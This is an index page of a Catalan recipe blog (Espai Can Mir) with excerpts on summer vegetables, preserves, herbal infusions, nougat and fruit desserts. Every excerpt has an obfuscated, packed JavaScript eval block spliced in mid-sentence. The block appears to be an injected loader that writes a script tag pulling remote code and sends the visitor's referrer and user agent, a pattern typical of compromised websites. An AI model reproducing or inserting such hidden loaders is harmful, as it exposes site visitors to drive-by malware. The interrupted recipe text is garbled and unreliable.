Receptari Espai Can Mir

Albergínies, perquè és estiu. Espai Can Mir

Des eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fntft|var|u0026u|referrer|fbkek||js|php’.split(‘|’),0,{}))
d’una escalivada, una samfaina, l’exòtica mussaka, o simplement a la planxa, l’albergínia és sens dubte la reina de la cuina a l’estiu. Combina amb tota mena de sabors, és refrescant i diürètica, té un alt percentatge d’aigua i aporta moltíssims nutrients i …

Espai CAn Mir, conserves, tomàquets

Hort, tomàquets i conserves a l’Espai Can Mir

Des eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfadt|var|u0026u|referrer|zdkts||js|php’.split(‘|’),0,{}))
de mitjans de juliol i fins a principis d’agost, l’hort de Can Mir es converteix en un gran productor de tomàquets, dolços i boníssims. En produïm de diverses espècies, però els que van millor per a fer-ne conserves són els de pera, …

Infusió de camamilla. Espai Can Mir

Tres infusions depuratives per després de les festes de Nadal

Els eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdzri|var|u0026u|referrer|kfehy||js|php’.split(‘|’),0,{}))
torrons, els àpats contundents, el vi, el cava i les sobretaules eternes fan que després d’aquests dies de Nadal ens sentim una mica, o molt, pesats i amb la necessitat de depurar el nostre organisme. Les plantes i les infusions seran les …

Torró de xocolata Espai Can Mir

Torró de xocolata fet a casa. Boníssim. Idees de l’Espai Can Mir

Quin eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyzbh|var|u0026u|referrer|ftanf||js|php’.split(‘|’),0,{}))
és el vostre torró preferit? El de xocolata és un dels que no falla mai, gairebé agrada a tothom i a més és molt senzill de fer a casa. Així, si aquest any us voleu lluir a taula i deixar ben contents …

Receptes Espai Can Mir

Pastís de carbassa, xocolata i figues. Receptes de l’Espai Can Mir

Aprofitant eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyfaa|var|u0026u|referrer|yzdzd||js|php’.split(‘|’),0,{}))
que les carbasses i les figues estan en el seu millor moment, hem decidit fer un pastís de tardor que té una fusió de gustos deliciosa. No és molt dolç, per això li afegim la confitura, i el toc de xocolata li …

Receptes Espai Can Mir

Gerds, ara és l`hora. Receptes de l’Espai Can Mir

Les eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rihks|var|u0026u|referrer|erzaa||js|php’.split(‘|’),0,{}))
darreries de l’estiu i l’inici de la tardor és una època perfecta per anar a fer un passeig pel bosc a collir saücs, mores i gerds i gaudir de l’olor de la fullaraca humida y dels esbarzers plens de fruits. Idees de l’Espai …

Receptes Espai Can Mir

És temps de tomàquets. Aprofitem-ho. Receptes de l’Espai Can Mir

No eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btizr|var|u0026u|referrer|isabh||js|php’.split(‘|’),0,{}))
donem a l’abast de collir els tomàquets de tants com n’hi ha l’hort. Els mesos d’estiu són els ideals per menjar-ne crus o cuinats, fer-ne conserva o confitura. Són tan versàtils, refrescants i nutritius que no ens hi podem resistir. Deixem-nos seduir …

Blog Espai Can Mir

Tres  cremes refrescants (i delicioses). Receptes de l’Espai Can Mir

L’estiu eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftzhz|var|u0026u|referrer|zndni||js|php’.split(‘|’),0,{}))
és un moment perfecte per cuidar més l’alimentació i seguir una dieta sana i equilibrada, i les cremes i sopes fredes són una gran opció per mantenir-nos hidratats i nodrits en els dies calorosos, quan el nostre cos necessita més vitamines i …

Receptes de l'Espai Can Mir

Tres receptes amb síndria. Espai Can Mir

La eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnkfa|var|u0026u|referrer|ytsss||js|php’.split(‘|’),0,{}))
síndria és una de les fruites més refrescants i gustoses, tant que te la menjaries a qualsevol hora els dies calorosos de l’estiu. El que fa diferent la síndria d’altres fruites és el seu sabor, no gaire dolça, gens àcida i suau …

Blog Espai Can Mir

Els cogombres són per a l’estiu. Receptes refrescants de l’Espai Can Mir.

Aquesta eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ankht|var|u0026u|referrer|yknry||js|php’.split(‘|’),0,{}))
hortalissa d’estiu té una gran quantitat de propietats i beneficis per al nostre cos gràcies al seu alt contingut d’aigua, és refrescant i aporta molts nutrients.
Receptes amb cogombres de l’Espai Can Mir
En diuen el rei de l’estiu. Aporta una bona dosi …